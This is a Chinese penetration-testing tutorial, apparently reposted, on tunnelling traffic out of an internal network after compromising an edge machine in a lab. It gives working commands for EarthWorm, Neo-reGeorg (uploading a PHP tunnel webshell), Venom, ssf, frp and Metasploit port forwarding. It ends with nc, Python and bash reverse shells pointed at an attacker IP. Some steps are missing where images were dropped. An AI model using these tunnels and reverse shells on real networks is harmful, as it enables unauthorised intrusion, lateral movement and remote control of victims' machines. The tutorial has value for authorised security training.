内网穿透姿势汇总

0x00 前言

在渗透中拿到一台边缘机器后剩余内网机器不出网的情况很常见,这时我们就需要把内网机器流量转到边缘机器上再进行访问,内网流量转出来的方法很多,在下面就介绍几种常见的方法

0x01 环境介绍

本地环境搭建:

边缘机器:

windows 7 ip:192.168.10.15(外) 192.168.52.143(内) 目标机器: windows 2008R2 ip:192.168.52.138 攻击机器: windows 2008 ip:192.168.10.3 kali: msf5:192.168.10.14 msf6:192.168.10.11

0x02 EarthWorm

将ew_for_windows上传到边缘机器

1.正向连接

适用于目标机器拥有一个外网ip

在win7机器上执行

ew -s ssocksd -l 888

监听本机888端口。然后在2008r2机器上使用proxifier进行连接

2.反向连接

适用于边缘机器无公网ip

攻击机器上执行

然后边缘机器连接

ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234

0x03 Neo-reGeorg

注:这里需要python环境,在2008R2上弄总是出错,切到物理机进行实验,原理相同

生成文件

在neoreg_servers目录下生成了木马文件

这里web机器解析php,所以我上传一个tunnel.php的马到web机器(win7)上

攻击机连接

python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php

打开网易新闻 查看精彩图片

0x04 Venom

攻击机器上执行

admin.exe -lport 9999

边缘机器(win7)执行

agent.exe -rhost 192.168.10.3 -rport 9999

攻击机查看反弹成功

执行命令

goto 1 socks 6666

0x05 ssf

1.正向连接

把certs文件夹和ssfd上传到边缘机器

边缘机器开启1333端口

ssfd.exe ‐p 1333

攻击机连接边缘机器的1333端口,并将数据转发给1222端口

ssfd.exe ‐D 1222 ‐p 1333 192.168.10.15

2008r2出问题,换到物理机上执行

2.反向连接

攻击机本地监听1234端口,命令如下:

ssfd.exe ‐p 1234

边缘机器连接1234端口,并将数据转发到12345端口,命令如下:

ssf.exe ‐F 12345 ‐p 1234 192.168.10.3

此处没有实验成功,还是写下步骤

本地socks代理连接127.0.0.1 12345端口

0x06 frp

攻击机设置frps.ini

[common] bind_port = 6666

运行如下命令:

frps.exe -c frps.ini

在边缘机器设置frpc.ini

[common] server_addr = 192.168.10.3 server_port = 6666 [http_proxy] type=tcp remote_port=7777 plugin=socks5

执行如下命令:

frpc.exe ‐c frpc.ini

监听本地7777端口

0x07 msf

在msf6下只剩下了socks_proxy这个模块

还是先修改proxychains4.conf这个配置文件

添加路由使用模块

这里注意一下,我们在运行之前先show options一下,发现默认是socks5

代理运行如果想使用socks4a代理,添加如下语句即可

set version 4a

修改浏览器配置

成功访问内网资源

拓展:portfwd端口转发

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下

portfwd add -l 3389 -r 192.168.52.138 -p 3389

然后我们访问本地3389

0x08 nc

1.正向连接

需要目标有公网ip

目标机器

nc -lvp 4444 -e /bin/sh linux nc -lvp 4444 -e c:\windows\system32\cmd.exe windows

攻击机器

nc <目标机器ip> 4444

2.反向连接

攻击机器监听本地1234端口

nc -lvp 1234

目标机器执行

nc 1234 -e /bin/sh linux nc 1234 -e cmd.exe windows

在一般情况下目标机器是没有nc的,这里可以用其他工具或者编程语言来代替nc

python反向shell

攻击机器:

nc -lvp 2222

目标机器:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

bash反向shell

攻击机器:

nc -lvp 2222

目标机器:

bash -i >& /dev/tcp/192.168.10.3/2222 0>&1

文章来源于;安全先师

原文链接:https://m.163.com/dy/article/G9NBHV3T05319Y7J.html

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享